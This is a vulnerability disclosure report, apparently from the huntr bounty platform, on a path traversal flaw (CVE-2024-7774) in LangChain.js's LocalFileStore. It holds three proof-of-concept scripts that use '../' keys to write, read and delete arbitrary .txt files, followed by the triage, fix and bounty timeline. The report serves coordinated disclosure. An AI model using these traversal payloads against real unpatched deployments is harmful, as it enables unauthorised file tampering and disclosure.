

Path Traversal in getFullPath in [langchain-ai/langchainjs](#)

✓ Valid

Reported on Jun 15th 2024

Description

`getFullPath` method is vulnerable to path traversal attack. It is possible to (in accordance with user permissions):

- save files in the filesystem (or overwrite existing text files). If user input is passed to the `setFileContent` (mset) function, it is possible to save a file anywhere in the filesystem
- read `txt` files with `getParsedFile`
- delete files with `mdelete` method

Proof of Concept 1

```
[... CONTENT OF https://github.com/langchain-ai/langchainjs/blob/main/langchain/src
[...]
```

```
async function runExample() {
  // Initialize the store with a root directory
  const store = await LocalFileStore.fromPath("./messages");

  // Set multiple key-value pairs
  await store.mset([
    ["../../../../../../../../message_1", new TextEncoder().encode(JSON.stringify({ type: "AIMessage", content: "message_1" })],
    ["message_2", new TextEncoder().encode(JSON.stringify({ type: "HumanMessage", content: "message_2" })],
    ["message_3", new TextEncoder().encode(JSON.stringify({ type: "AIMessage", content: "message_3" })],
  ]);

  // Retrieve messages by keys
  const retrievedMessages = await store.mget(["message:id:0", "message:id:1", "message:id:2"]);
  console.log(retrievedMessages.map(v => new TextDecoder().decode(v)));

  // Call the async function to start execution
  runExample().catch(err => console.error(err));
}
```

`mset` passed input to the `setFileContent` function. As a result, the file has been saved in the `/home/kali` directory.

```
(kali@kali)-[~/Desktop/HUNTR/test_app]
$ node test2.js
[
  {"type": "AIMessage", "content": "ai stuff..."},
  {"type": "HumanMessage", "content": "human stuff..."},
  {"type": "AIMessage", "content": "more ai stuff..."}
]

(kali@kali)-[~/Desktop/HUNTR/test_app]
$ ls /home/kali
Desktop  Downloads  message_1.txt  nuclei-templates  PortSwigger_CA.der  soapui-settings.xml  Videos
Documents  go         Music         Pictures         Public             Templates
```

Proof of Concept 2

```
[... CONTENT OF https://github.com/langchain-ai/langchainjs/blob/main/langchain/src
[...]
```

```
async function runExample() {
  // Initialize the store with a root directory
  const store = await LocalFileStore.fromPath("./messages");

  const retrievedMessages = await store.mget(["../../../../../../../../../../../../home/k
  console.log(retrievedMessages.map(v => new TextDecoder().decode(v)));

  // Call the async function to start execution
  runExample().catch(err => console.error(err));
```

mget passed input to the getPasedKey function. As a result, the file testowe.txt from /home/kali directory has been read.

```
(kali@kali)-[~/Desktop/HUNTR/test_app]
$ echo "HUNTR" > /home/kali/testowe.txt
```

```
(kali@kali)-[~/Desktop/HUNTR/test_app]
$ node test3.js
[ 'HUNTR\n' ]
```

Proof of Concept 3

```
[... CONTENT OF https://github.com/langchain-ai/langchainjs/blob/main/langchain/src
[...]
```

```
async function runExample() {
  // Initialize the store with a root directory
  const store = await LocalFileStore.fromPath("./messages");

  const retrievedMessages = await store.mdelete(["../../../../../../../../../../../../hom
  console.log(retrievedMessages.map(v => new TextDecoder().decode(v)));

  // Call the async function to start execution
  runExample().catch(err => console.error(err));
```

As a result testowe.txt file has been deleted.

Impact

Saving files anywhere in the filesystem. Overwriting existing text files. Reading files. Deleting files.

⚙️ We are processing your report and will contact the [langchain-ai/langchainjs](#) team within 24 hours. 2 years ago



✎️ **dastaj** modified the report 2 years ago

✉️ We have contacted a member of the [langchain-ai/langchainjs](#) team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the [langchain-ai/langchainjs](#) team. We will try again in 4 days. 2 years ago

✉️ We have sent a second follow up to the [langchain-ai/langchainjs](#) team. We will try again in 7 days. 2 years ago

✉️ We have sent a third follow up to the [langchain-ai/langchainjs](#) team. We will try again in 14 days. 2 years ago

✉️ We have sent a fourth follow up to the [langchain-ai/langchainjs](#) team. We will send a final notification 48 hours before report publication. 2 years ago

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. 2 years ago



✎️ **Ethan Silvas** modified the Severity from Critical (9.8) to Medium (6.5) a year ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✅ **Ethan Silvas** validated this vulnerability a year ago

Hi @dastaj I replicated and confirmed the three PoC methods (mset, mget, mdelete) will create, read, or delete arbitrary `.txt` files anywhere on the host machine.

However, I marked down the CVSS score because it was originally scored as if these methods worked for any file type. This is not the case because all 3 methods will only allow you to complete its logic for a `.txt` file. For example using `mset` will automatically make the new file a `.txt` file even when trying to specify a different extension.

\$ **dastaj** has been awarded the disclosure bounty ✅

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-7774 assigned to this report. a year ago

 We have sent a warning to the **langchain-ai/langchainjs** team to inform them that this report will be published in 48 hours a year ago



Jacob Lee commented a year ago

Maintainer

Thanks for reporting - there was some bug with Huntr around getting me access so I've just seen this.

Will patch in the next two days!



 A **langchain-ai/langchainjs** maintainer has acknowledged this report a year ago

 The scheduled publication date was automatically extended from 13th Sep 2024 to 20th Sep 2024 due to the maintainers acknowledgement of the report a year ago



Jacob Lee commented a year ago

Maintainer

Hey folks, we've patched this in langchain@0.2.19. Here's the commit:

<https://github.com/langchain-ai/langchainjs/commit/a0fad77d6b569e5872bd4a9d33be0c0785e538a9>



 **Jacob Lee** marked this as fixed in **0.2.19** with commit **a0fad7** a year ago

 **Jacob Lee** has been awarded the fix bounty 



dastaj commented a year ago

Researcher

Good to know, thanks!

 We have notified the **langchain-ai/langchainjs** maintainers about this report in their weekly follow-up a year ago

 We have sent a warning to the **langchain-ai/langchainjs** team to inform them that this report will be published in 48 hours a year ago

 This vulnerability has now been published a year ago

[Sign in](#) to join this conversation

Published

Vulnerability Type

CWE-29: Path Traversal: '..\filename'

Severity

Medium (6.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	None

[Open in visual CVSS calculator](#)

Registry

Other

Affected Version

0.2.5

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



dastaj

@dastaj

MIDDLEWEIGHT



Fixed by



Jacob Lee

@jacoble93

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



